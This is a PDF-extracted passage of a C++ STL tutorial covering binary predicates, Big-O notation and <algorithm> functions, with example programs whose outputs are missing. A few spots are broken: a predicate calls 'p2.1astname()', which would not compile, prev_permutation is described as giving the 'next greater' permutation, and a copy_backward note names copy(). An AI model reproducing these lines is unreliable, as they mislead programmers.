33.5.2 Binary Predicates

- Binary predicates typically compare a specific property of two arguments.


- For example, to sort elements according to your own criterion you could provide it as a simple
predicate function.
- This might be necessary because the elements do not provide operator < or because you wish to
use a different criterion.
- The following example sorts elements of a set by the first name and last name of a person:

//algorithm, predicate
#include <iostream>
#include <string>
#include <deque>
#include <algorithm>
using namespace std;

class Person
{
public:
string firstname() const;
string lastname() const;
...
};

//binary function predicate:


//returns whether a person is less than another person
bool SortCriterion(const Person& p1, const Person& p2)
{
//a person is less than another person
//if the last name is less
//if the last name is equal and the first name is less

return p1.lastname()<p2.1astname() || (!(p2.1astname()<p1.lastname()) &&


p1.firstname()<p2.firstname());
}

int main()
{
deque<Person> deq1;
...
sort(deq1.begin(), deq1.end(), SortCriterion);
...
}

- Note that you can also implement a sorting criterion as a function object. This kind of implementation
has the advantage that the criterion is a type, which you could use, for example, to declare sets that use
this criterion for sorting its elements.

33.6 Complexity and the Big-O Notation

- A specialized notation is used to compare the relative complexity of an algorithm. Using this measure,
we can categorize quickly the relative runtime of an algorithm as well as perform qualitative
comparisons between algorithms. This measure is called Big-O notation.
- The Big-O notation expresses the runtime of an algorithm as a function of a given input of size n. For
example, if the runtime grows linearly with the number of elements (doubling the input doubles the
runtime) the complexity is O(n). If the runtime is independent of the input, the complexity is O(1).
- The following Table lists typical values of complexity and their Big-O notation.

Type Notation Description


Constant O(1) The runtime is independent of the number of elements.
Logarithmic O(log(n)) The runtime grows logarithmically with respect to the
number of elements.
Linear O(n) The runtime grows linearly (with the same factor) as
the number of elements grows.
The runtime grows as a product of linear and
n-log-n O(n *log(n))
logarithmic complexity.
Quadratic O(n2) The runtime grows quadratically with respect to the

www.tenouk.com Page 7 of 9
number of elements.

Table 33.1: The O-Notation

- It is only a rule of thumb; the algorithm with optimal complexity is not necessarily the best one.
- Some complexity definitions in the C++ reference manual are specified as amortized. This means that
the operations in the long term behave as described.
- However, a single operation may take longer than specified. For example, if you append elements to a
dynamic array, the runtime depends on whether the array has enough memory for one more element.
- If there is enough memory, the complexity is constant because inserting a new last element always
takes the same time.
- But, if there is not enough memory, the complexity is linear. This is because, depending on the actual
number of elements, you have to allocate new memory and copy all elements.
- Reallocations are rather rare, so any sufficiently long sequence of that operation behaves as if each
operation has constant complexity. Thus, the complexity of the insertion is "amortized" constant time.
- Program example compiled using g++.

//********algo.cpp*********
//algorithm, example
#include <iostream>
#include <vector>
#include <list>
#include <deque>
#include <algorithm>
using namespace std;

int main()
{
list<int> lst1;
list<int>::iterator pos;
vector<int> vec1;
vector<int>::iterator pos1;

//insert elements from 1 to 10


for(int i=1; i<=10; ++i)
lst1.push_back(i);

//display data
cout<<"The list lst1 data: ";
for(pos=lst1.begin(); pos!=lst1.end(); pos++)
cout<<*pos<<" ";
cout<<endl;

//resize destination to have enough


//room for the overwriting algorithm
vec1.resize(lst1.size());

//copy elements from first into second collection


//overwrites existing elements in destination
copy(lst1.begin(), lst1.end(), //source
vec1.begin()); //destination

cout<<"\nThe vector vec1 data: ";


for(pos1=vec1.begin(); pos1!=vec1.end(); pos1++)
cout<<*pos1<<" ";
cout<<endl;

//create third collection with enough allocation


//initial size is passed as parameter
deque<int> deq1(lst1.size());
deque<int>::iterator pos2;

//copy elements from first into third collection


copy(lst1.begin(), lst1.end(), //source
deq1.begin()); //destination

cout<<"\nThe deque deq1 data: ";


for(pos2=deq1.begin(); pos2!=deq1.end(); pos2++)
cout<<*pos2<<" ";
cout<<endl;
}

[bodo@bakawali ~]$ g++ algo.cpp -o algo


[bodo@bakawali ~]$ ./algo

www.tenouk.com Page 8 of 9
The list lst1 data: 1 2 3 4 5 6 7 8 9 10

The vector vec1 data: 1 2 3 4 5 6 7 8 9 10

The deque deq1 data: 1 2 3 4 5 6 7 8 9 10

------------------------------------------End of Algorithm Part I-------------------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 9 of 9
MODULE 34
--THE STL--
ALGORITHM PART II

My Training Period: hours

Note: Compiled using Microsoft Visual C++/.Net, win32 empty console mode application. g++ compilation
examples given at the end of this Module.

Abilities

▪ Able to understand and use the member functions of the algorithm.


▪ Appreciate how the usage of the template classes and functions.
▪ Able to use containers, iterators and algorithm all together.

34.1 <algorithm> Header File

- Defines Standard Template Library (STL) container template functions that perform algorithms. The
following header must be included in your program.

#include <algorithm>

- The STL algorithms are generic because they can operate on a variety of data structures. The data
structures that they can operate on included not only the STL container classes such as vector and list,
but also program-defined data structures and arrays of elements that satisfy the requirements of a
particular algorithm.
- STL algorithms achieve this level of generality by accessing and traversing the elements of a container
indirectly through iterators.
- STL algorithms process iterator ranges that are typically specified by their beginning or ending
positions.
- The ranges referred to must be valid in the sense that all pointers in the ranges must be de-referenceable
and within the sequences of each range, the last position must be reachable from the first by
incrementation.
- The STL algorithms extend the actions supported by the operations and member functions of each STL
container and allow working, for example, with different types of container objects at the same time.
Two suffixes have been used to convey information about the purpose of the algorithms.

▪ The _if suffix indicates that the algorithm is used with function objects operating on the values
of the elements rather than on the values of the elements themselves. The find_if() algorithm
looks for elements whose values satisfy the criterion specified by a function object, and the
find() algorithm searches for a particular value.
▪ The copy suffix indicates that the algorithm not only manipulates the values of the elements but
also copies the modified values into a destination range. For example, the reverse() algorithm
reverses the order of the elements within a range, and the reverse_copy() algorithm also
copies the result into a destination range.

- STL algorithms are often classified into groups that indicate something about their purpose or
requirements.
- These include modifying algorithms that change the value of elements as compared with non-
modifying algorithms that do not. Mutating algorithms change the order of elements, but not the
values of their elements.
- Removing algorithms can eliminate elements from a range or a copy of a range.
- Sorting algorithms reorder the elements in a range in various ways and sorted range algorithms only
act on algorithms whose elements have been sorted in a particular way.
- The STL numeric algorithms that are provided for numerical processing have their own header file
<numeric>, and function objects and adaptors are defined in the header <functional>.
- Function objects that return Boolean values are known as predicates. The default binary predicate
is the comparison operator<.
- In general, the elements being ordered need to be less than comparable so that, given any two
elements, it can be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other.
- This results in an ordering among the nonequivalent elements.

www.tenouk.com Page 1 of 35
34.2 <algorithm> Member Functions

- The following table is a list of the member functions available in <algorithm>. So many huh!

Member functions

Member function Description


Searches for two adjacent elements that are either equal or satisfy a
adjacent_find()
specified condition.
Tests whether there is an element in a sorted range that is equal to a
binary_search() specified value or that is equivalent to it in a sense specified by a
binary predicate.
Assigns the values of elements from a source range to a destination
copy() range, iterating through the source sequence of elements and
assigning them new positions in a forward direction.
Assigns the values of elements from a source range to a destination
copy_backward() range, iterating through the source sequence of elements and
assigning them new positions in a backward direction.
Returns the number of elements in a range whose values match a
count()
specified value.
Returns the number of elements in a range whose values match a
count_if()
specified condition.
Compares two ranges element by element either for equality or
equal()
equivalence in a sense specified by a binary predicate.
Finds a pair of positions in an ordered range, the first less than or
equivalent to the position of a specified element and the second
equal_range() greater than the element's position, where the sense of equivalence or
ordering used to establish the positions in the sequence may be
specified by a binary predicate.
fill() Assigns the same new value to every element in a specified range.
Assigns a new value to a specified number of elements in a range
fill_n()
beginning with a particular element.
Locates the position of the first occurrence of an element in a range
find()
that has a specified value.
Looks in a range for the last subsequence that is identical to a
find_end() specified sequence or that is equivalent in a sense specified by a
binary predicate.
Searches for the first occurrence of any of several values within a
target range or for the first occurrence of any of several elements that
find_first_of()
are equivalent in a sense specified by a binary predicate to a specified
set of the elements.
Locates the position of the first occurrence of an element in a range
find_if()
that satisfies a specified condition.
Applies a specified function object to each element in a forward order
for_each()
within a range and returns the function object.
Assigns the values generated by a function object to each element in a
generate()
range.
Assigns the values generated by a function object to a specified
generate_n() number of element is a range and returns to the position one past the
last assigned value.
Tests whether one sorted range contains all the elements contained in
includes() a second sorted range, where the ordering or equivalence criterion
between elements may be specified by a binary predicate.
Combines the elements from two consecutive sorted ranges into a
inplace_merge() single sorted range, where the ordering criterion may be specified by a
binary predicate.
iter_swap() Exchanges two values referred to by a pair of specified iterators.
Compares element by element between two sequences to determine
lexicographical_compare()
which is lesser of the two.
Finds the position where the first element in an ordered range is or
would be if it had a value that is less than or equivalent to a specified
lower_bound()
value, where the sense of equivalence may be specified by a binary
predicate.
Converts elements from a specified range into a heap in which the
make_heap() first element is the largest and for which a sorting criterion may be
specified with a binary predicate.

www.tenouk.com Page 2 of 35
Compares two objects and returns the larger of the two, where the
max()
ordering criterion may be specified by a binary predicate.
Finds the first occurrence of largest element in a specified range
max_element()
where the ordering criterion may be specified by a binary predicate.
Combines all the elements from two sorted source ranges into a
merge() single, sorted destination range, where the ordering criterion may be
specified by a binary predicate.
Compares two objects and returns the lesser of the two, where the
min()
ordering criterion may be specified by a binary predicate.
Finds the first occurrence of smallest element in a specified range
min_element()
where the ordering criterion may be specified by a binary predicate.
Compares two ranges element by element either for equality or
mismatch() equivalent in a sense specified by a binary predicate and locates the
first position where a difference occurs.
Reorders the elements in a range so that the original ordering is
next_permutation() replaced by the lexicographically next greater permutation if it exists,
where the sense of next may be specified with a binary predicate.
Partitions a range of elements, correctly locating the nth element of
the sequence in the range so that all the elements in front of it are less
nth_element()
than or equal to it and all the elements that follow it in the sequence
are greater than or equal to it.
Arranges a specified number of the smaller elements in a range into a
partial_sort() non-descending order or according to an ordering criterion specified
by a binary predicate.
Copies elements from a source range into a destination range where
partial_sort_copy() the source elements are ordered by either less than or another
specified binary predicate.
Classifies elements in a range into two disjoint sets, with those
partition() elements satisfying a unary predicate preceding those that fail to
satisfy it.
Removes the largest element from the front of a heap to the next-to-
pop_heap() last position in the range and then forms a new heap from the
remaining elements.
Reorders the elements in a range so that the original ordering is
prev_permutation() replaced by the lexicographically next greater permutation if it exists,
where the sense of next may be specified with a binary predicate.
Adds an element that is at the end of a range to an existing heap
push_heap()
consisting of the prior elements in the range.
Rearranges a sequence of N elements in a range into one of N!
random_shuffle()
possible arrangements selected at random.
Eliminates a specified value from a given range without disturbing the
remove() order of the remaining elements and returning the end of a new range
free of the specified value.
Copies elements from a source range to a destination range, except
that elements of a specified value are not copied, without disturbing
remove_copy()
the order of the remaining elements and returning the end of a new
destination range.
Copies elements from a source range to a destination range, except
that satisfying a predicate are not copied, without disturbing the order
remove_copy_if()
of the remaining elements and returning the end of a new destination
range.
Eliminates elements that satisfy a predicate from a given range
remove_if() without disturbing the order of the remaining elements and returning
the end of a new range free of the specified value.
Examines each element in a range and replaces it if it matches a
replace()
specified value.
Examines each element in a source range and replaces it if it matches
replace_copy() a specified value while copying the result into a new destination
range.
Examines each element in a source range and replaces it if it satisfies
replace_copy_if() a specified predicate while copying the result into a new destination
range.
Examines each element in a range and replaces it if it satisfies a
replace_if()
specified predicate.
reverse() Reverses the order of the elements within a range.
Reverses the order of the elements within a source range while
reverse_copy()
copying them into a destination range

www.tenouk.com Page 3 of 35
rotate() Exchanges the elements in two adjacent ranges.
Exchanges the elements in two adjacent ranges within a source range
rotate_copy()
and copy the result to a destination range.
Searches for the first occurrence of a sequence within a target range
whose elements are equal to those in a given sequence of elements or
search()
whose elements are equivalent in a sense specified by a binary
predicate to the elements in the given sequence.
Searches for the first subsequence in a range that of a specified
search_n() number of elements having a particular value or a relation to that
value as specified by a binary predicate.
Unites all of the elements that belong to one sorted source range, but
not to a second sorted source range, into a single, sorted destination
set_difference()
range, where the ordering criterion may be specified by a binary
predicate.
Unites all of the elements that belong to both sorted source ranges into
set_intersection() a single, sorted destination range, where the ordering criterion may be
specified by a binary predicate.
Unites all of the elements that belong to one, but not both, of the
set_symmetric_difference() sorted source ranges into a single, sorted destination range, where the
ordering criterion may be specified by a binary predicate.
Unites all of the elements that belong to at least one of two sorted
set_union() source ranges into a single, sorted destination range, where the
ordering criterion may be specified by a binary predicate.
Arranges the elements in a specified range into a nondescending order
sort()
or according to an ordering criterion specified by a binary predicate.
sort_heap() Converts a heap into a sorted range.
Classifies elements in a range into two disjoint sets, with those
stable_partition() elements satisfying a unary predicate preceding those that fail to
satisfy it, preserving the relative order of equivalent elements.
Arranges the elements in a specified range into a non-descending
stable_sort() order or according to an ordering criterion specified by a binary
predicate and preserves the relative ordering of equivalent elements.
Exchanges the values of the elements between two types of objects,
swap() assigning the contents of the first object to the second object and the
contents of the second to the first.
Exchanges the elements of one range with the elements of another,
swap_ranges()
equal sized range.
Applies a specified function object to each element in a source range
transform() or to a pair of elements from two source ranges and copies the return
values of the function object into a destination range.
Removes duplicate elements that are adjacent to each other in a
unique()
specified range.
Copies elements from a source range into a destination range except
unique_copy()
for the duplicate elements that are adjacent to each other.
Finds the position of the first element in an ordered range that has a
upper_bound() value that is greater than a specified value, where the ordering
criterion may be specified by a binary predicate.

Table 34.1

- The following section presents some of the program examples using the member functions. Notice the
using of the containers and iterators in the program examples and in the function and class templates.

adjacent_find()

- Searches for two adjacent elements that are either equal or satisfy a specified condition.

template<class ForwardIterator>
ForwardIterator adjacent_find(ForwardIterator _First, ForwardIterator _Last);
template<class ForwardIterator , class BinaryPredicate>
ForwardIterator adjacent_find(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);

Parameters

www.tenouk.com Page 4 of 35
Parameter Description
_First A forward iterator addressing the position of the first element in the range to be
searched.
_Last A forward iterator addressing the position one past the final element in the range to be
searched
_Comp The binary predicate giving the condition to be satisfied by the values of the adjacent
elements in the range being searched.

Table 34.2

- The return value is a forward iterator to the first element of the adjacent pair that are either equal to
each other (in the first version) or that satisfy the condition given by the binary predicate (in the second
version), provided that such a pair of elements is found. Otherwise, an iterator pointing to _Last is
returned.
- The adjacent_find() algorithm is a non-mutating sequence algorithm. The range to be searched
must be valid; all pointers must be de-referenceable and the last position is reachable from the first by
incrementation. The time complexity of the algorithm is linear in the number of elements contained in
the range.
- The operator== used to determine the match between elements must impose an equivalence relation
between its operands.

//algorithm, adjacent_find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Returns whether second element is twice the first


bool twice(int elem1, int elem2)
{return (elem1 * 2 == elem2);}

int main()
{
list<int> lst;
list<int>::iterator Iter;
list<int>::iterator result1, result2;
lst.push_back(14);
lst.push_back(17);
lst.push_back(31);
lst.push_back(31);
lst.push_back(10);
lst.push_back(20);

cout << "List lst data: ";


for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<< " ";
cout<<endl<<endl;

result1 = adjacent_find(lst.begin(), lst.end());


if(result1 == lst.end())
cout<<"There are not two adjacent elements that are equal."<<endl;
else
cout<<"There are two adjacent elements that are equal."
<<"\nThey have a value of "<<*(result1)<<endl;

result2 = adjacent_find(lst.begin(), lst.end(), twice);


if(result2 == lst.end())
cout<<"\nThere are no two adjacent elements where the "
<<"second is twice the first."<<endl;
else
{cout<<"\nThere are two adjacent elements\nwhere "
<<"the second is twice the first."
<<"\nThey have values of "<<*(result2++);
cout<<" & "<<*result2<<endl;}
return 0;
}

Output:

www.tenouk.com Page 5 of 35
binary_search()

- Tests whether there is an element in a sorted range that is equal to a specified value or that is equivalent
to it in a sense specified by a binary predicate.

template<class ForwardIterator, class Type>


bool binary_search(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val
);
template<class ForwardIterator, class Type, class BinaryPredicate>
bool binary_search(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val,
BinaryPredicate _Comp
);

Parameters

Parameter Description
_First A forward iterator addressing the position of the first element in the range to be searched.
A forward iterator addressing the position one past the final element in the range to be
_Last
searched.
The value required to be matched by the value of the element or that must satisfy the
_Val
condition with the element value specified by the binary predicate.
User-defined predicate function object that defines sense in which one element is less than
_Comp another. A binary predicate takes two arguments and returns true when satisfied and false
when not satisfied.

Table 34.3

- The return value is true if an element is found in the range that is equal or equivalent to the specified
value; otherwise, false.
- The sorted source range referenced must be valid; all pointers must be dereferenceable and, within the
sequence, the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the
binary_search() algorithm in accordance with the same ordering as is to be used by the algorithm
to sort the combined ranges.
- The source ranges are not modified by binary_search().
- The value types of the forward iterators need to be less-than comparable to be ordered, so that, given
two elements, it may be determined either that they are equivalent (in the sense that neither is less than
the other) or that one is less than the other. This results in an ordering between the nonequivalent
elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1–_First1).

//algorithm, binary_search()
#include <list>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

www.tenouk.com Page 6 of 35
//Return whether modulus of elem1 is less than modulus of elem2
bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
list<int> lst;
list<int>::iterator Iter;
bool b1, b2;

lst.push_back(13);
lst.push_back(23);
lst.push_back(10);
lst.push_back(33);
lst.push_back(35);
lst.push_back(9);

lst.sort();
cout<<"List lst data: ";
for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

b1 = binary_search(lst.begin(), lst.end(), 10);


if(b1)
cout<<"\nThere is an element in list lst with\na value equal to 10."<<endl;
else
cout<<"\nThere is no element in list lst with\na value equal to 10."<<endl;

b2 = binary_search(lst.begin(), lst.end(), 13, greater<int>());


if(b2)
cout<<"\nThere is an element in list lst with a\nvalue equivalent to 13 "
<<"under greater than."<<endl;
else
cout<<"\nNo element in list lst with a\nvalue equivalent to 13 "
<<"under greater than."<<endl;

//a binary_search under the user-defined binary predicate mod_lesser


vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = -3; i <= 5; i++)
vec.push_back(i);

sort(vec.begin(), vec.end(), mod_lesser);

cout<<"\nOrdered under mod_lesser, vector vec data:\n";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

bool b3 = binary_search(vec.begin(), vec.end(), -2, mod_lesser);


if(b3)
cout<<"\nThere is an element with a value\nequivalent to -2 "
<<"under mod_lesser()."<<endl;
else
cout<<"\nThere is no element with a value\nequivalent to -2 "
<<"under mod_lesser()."<<endl;
return 0;
}

Output:

www.tenouk.com Page 7 of 35
copy()

- Assigns the values of elements from a source range to a destination range, iterating through the source
sequence of elements and assigning them new positions in a forward direction.

template<class InputIterator, class OutputIterator>


OutputIterator copy
(
InputIterator _First,
InputIterator _Last,
OutputIterator _DestBeg
);

Parameters

Parameter Description
_First An input iterator addressing the position of the first element in the source range.
An input iterator addressing the position that is one past the final element in the
_Last
source range.
An output iterator addressing the position of the first element in the destination
_DestBeg
range.

Table 34.4

- The return value is an output iterator addressing the position that is one past the final element in the
destination range, that is, the iterator addresses _Result + (_Last – _First).
- The source range must be valid and there must be sufficient space at the destination to hold all the
elements being copied.
- Because the algorithm copies the source elements in order beginning with the first element, the
destination range can overlap with the source range provided the _First position of the source range
is not contained in the destination range.
- copy() can be used to shift elements to the left but not the right, unless there is no overlap between
the source and destination ranges. To shift to the right any number of positions, use the
copy_backward() algorithm.
- The copy() algorithm only modifies values pointed to by the iterators, assigning new values to
elements in the destination range. It cannot be used to create new elements and cannot insert elements
into an empty container directly.

//algorithm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 5; i++)

www.tenouk.com Page 8 of 35
vec1.push_back(i);

int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);

cout<<"vec2 with vec1 insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To shift the elements inserted into vec2 two positions


//to the left
copy(vec2.begin()+4, vec2.begin() + 7, vec2.begin() + 2);

cout<<"vec2 with shifted insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
return 0;
}

Output:

copy_backward()

- Assigns the values of elements from a source range to a destination range, iterating through the source
sequence of elements and assigning them new positions in a backward direction.

template<class BidirectionalIterator1, class BidirectionalIterator2>


BidirectionalIterator2 copy_backward
(
BidirectionalIterator1 _First,
BidirectionalIterator1 _Last,
BidirectionalIterator2 _DestEnd
);

Parameters

Parameter Description
_First A bidirectional iterator addressing the position of the first element in the source range.
A bidirectional iterator addressing the position that is one past the final element in the
_Last
source range.
A bidirectional iterator addressing the position of the one past the final element in the
_DestEnd
destination range.

Table 34.5

- The return value is an output iterator addressing the position that is one past the final element in the
destination range, that is, the iterator addresses _DestEnd – (_Last – _First).

www.tenouk.com Page 9 of 35
- The source range must be valid and there must be sufficient space at the destination to hold all the
elements being copied.
- The copy_backward() algorithm imposes more stringent requirements than that the copy
algorithm. Both its input and output iterators must be bidirectional.
- The copy_backward() algorithm is the only STL algorithm designating the output range with an
iterator pointing to the end of the destination range.
- Because the algorithm copies the source elements in order beginning with the last element, the
destination range can overlap with the source range provided the _Last position of the source range is
not contained in the destination range.
- copy() can be used to shift elements to the right but not the left, unless there is no overlap between
the source and destination ranges. To shift to the left any number of positions, use the copy()
algorithm.
- The copy_backward() algorithm only modifies values pointed to by the iterators, assigning new
values to elements in the destination range. It cannot be used to create new elements and cannot insert
elements into an empty container directly.

//algorithm, copy_backward()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 10; j++)
vec2.push_back(j);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To copy_backward the first 4 elements of vec1 into the middle of vec2
copy_backward(vec1.begin(), vec1.begin() + 4, vec2.begin() + 8);

cout<<"vec2 with vec1 insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To shift the elements inserted into vec2 two positions


//to the right
copy_backward(vec2.begin()+4, vec2.begin()+7, vec2.begin()+9);

cout<<"vec2 with shifted insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
return 0;
}

Output:

www.tenouk.com Page 10 of 35
count()

- Returns the number of elements in a range whose values match a specified value.

template<class InputIterator, class Type>


typename iterator_traits<InputIterator>::difference_type count(
InputIterator _First,
InputIterator _Last,
const Type& _Val
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
traversed.
An input iterator addressing the position one past the final element in the range to
_Last
be traversed.
_Val The value of the elements to be counted.

Table 34.6

- The return value is the difference type of the InputIterator that counts the number of elements in
the range [_First, _Last) that have value _Val.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- This algorithm is generalized to count elements that satisfy any predicate with the template function
count_if().

//algorithm, count()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter;

vec.push_back(12);
vec.push_back(22);
vec.push_back(12);
vec.push_back(31);
vec.push_back(12);
vec.push_back(33);

cout<<"vec data: ";


for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

int result;
cout<<"\nOperation: count(vec.begin(), vec.end(), 12)\n";
result = count(vec.begin(), vec.end(), 12);
cout<<"The number of 12s in vec is: "<<result<<endl;
return 0;
}

Output:

www.tenouk.com Page 11 of 35
count_if()

- Returns the number of elements in a range whose values satisfy a specified condition.

template<class InputIterator, class Predicate>


typename iterator_traits<InputIterator>::difference_typecount_if(
InputIterator _First,
InputIterator _Last,
Predicate _Pred
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
searched.
An input iterator addressing the position one past the final element in the range to be
_Last
searched.
User-defined predicate function object that defines the condition to be satisfied if an
_Pred
element is to be counted. A predicate takes single argument and returns true or false.

Table 34.7

- The return value is the number of elements that satisfy the condition specified by the predicate.
- This template function is a generalization of the algorithm count(), replacing the predicate "equals a
specific value" with any predicate.

//algorithm, count_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool isgreat(int value)


{return value >8;}

int main()
{
vector <int> vec;
vector <int>::iterator Iter;
vec.push_back(13);
vec.push_back(21);
vec.push_back(9);
vec.push_back(31);
vec.push_back(8);
vec.push_back(10);

cout<<"vec data: ";


for(Iter = vec.begin(); Iter != vec.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

int result1;
cout<<"\nOperation: count_if(vec.begin(), vec.end(), isgreat)\n";
result1 = count_if(vec.begin(), vec.end(), isgreat);
cout<<"The number of elements in vec greater than 8 is: "<<result1<<endl;
return 0;
}

Output:

www.tenouk.com Page 12 of 35
count_if()

- The following example is to show how to use the count_if() STL function in Microsoft Visual
C++ as an implementation dependent.

template<class InputIterator, class Predicate> inline


size_t count_if(
InputIterator First,
InputIterator Last,
Predicate P
)

- The class/parameter names in the prototype do not match the version in the header file. Some have
been modified to improve readability.
- The count_if() algorithm counts the number of elements in the range [First, Last) that
cause the predicate to return true and returns the number of elements for which the predicate was true.

// countif()
//
// Functions:
// count_if - Count items in a range that satisfy a predicate.
// begin - Returns an iterator that points to the first element in
// a sequence.
// end - Returns an iterator that points one past the end of a
// sequence.
#include <iostream>
#include <algorithm>
#include <functional>
#include <string>
#include <vector>

using namespace std;

//Return true if string str starts with letter 'C'


int MatchFirstChar(const string& str)
{
string s("C");
return s == str.substr(0, 1);
}

int main()
{
const int VECTOR_SIZE = 110;

//Define a template class vector of strings


typedef vector<string > StringVector;

//Define an iterator for template class vector of strings


typedef StringVector::iterator StringVectorIt;

//vector containing names


StringVector NamesVect(VECTOR_SIZE);
StringVectorIt start, end, it;
//stores count of elements that match value.
ptrdiff_t result = 0;
//Initialize vector NamesVect
NamesVect[0] = "Learn";
NamesVect[1] = "C";
NamesVect[2] = "and";
NamesVect[3] = "C++";
NamesVect[4] = "also";
NamesVect[5] = "Visual";
NamesVect[6] = "C++";
NamesVect[7] = "and";
NamesVect[8] = "C++";
NamesVect[9] = ".Net";

www.tenouk.com Page 13 of 35
//location of first element of NamesVect
start = NamesVect.begin();
//one past the location last element of NamesVect
end = NamesVect.end();
//print content of NamesVect
cout<<"NamesVect: ";
for(it = start; it != end; it++)
cout<<*it<<" ";
cout<<endl;

//Count the number of elements in the range [first, last +1)


//that start with letter 'C'
result = count_if(start, end, MatchFirstChar);

//print the count of elements that start with letter 'S'


cout<<"Number of elements that start with letter \"C\" = "<<result<<endl;
}

Output:

equal()

- Compares two ranges element by element either for equality or equivalence in a sense specified by a
binary predicate.

template<class InputIterator1, class InputIterator2>


bool equal(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2
);
template<class InputIterator1, class InputIterator2, class BinaryPredicate>
bool equal(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first range to be
_First1
tested.
An input iterator addressing the position one past the final element in the first range to
_Last1
be tested.
An input iterator addressing the position of the first element in the second range to be
_First2
tested.
User-defined predicate function object that defines the condition to be satisfied if two
_Comp elements are to be taken as equivalent. A binary predicate takes two arguments and
returns true when satisfied and false when not satisfied.

Table 34.8

- The return value is true if and only if the ranges are identical or equivalent under the binary predicate
when compared element by element; otherwise, false.
- The range to be searched must be valid; all pointers must be de-referenceable and the last position is
reachable from the first by incrementation.
- The time complexity of the algorithm is linear in the number of elements contained in the range.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.

www.tenouk.com Page 14 of 35
//algorithm, equal()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice of the first


bool twice(int elem1, int elem2)
{ return elem1 * 2 == elem2;}

int main()
{
vector <int> vec1, vec2, vec3;
vector <int>::iterator Iter1, Iter2, Iter3;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j = 0; j <= 5; j++)
vec2.push_back(j);

int k;
for(k = 10; k <= 15; k++)
vec3.push_back(k);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

cout<<"vec3 data: ";


for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

//Testing vec1 and vec2 for equality based on equality


bool b;
b = equal(vec1.begin(), vec1.end(), vec2.begin());

if(b)
cout<<"The vectors vec1 and vec2 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec2 are not equal based on equality."<<endl;

//Testing vec1 and vec3 for equality based on equality


bool c;
c = equal(vec1.begin(), vec1.end(), vec3.begin());

if(c)
cout<<"The vectors vec1 and vec3 are equal based on equality."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on equality."<<endl;

//Testing vec1 and vec3 for equality based on twice


bool d;
d = equal(vec1.begin(), vec1.end(), vec3.begin(), twice);

if(d)
cout<<"The vectors vec1 and vec3 are equal based on twice."<<endl;
else
cout<<"The vectors vec1 and vec3 are not equal based on twice."<<endl;
return 0;
}

Output:

www.tenouk.com Page 15 of 35
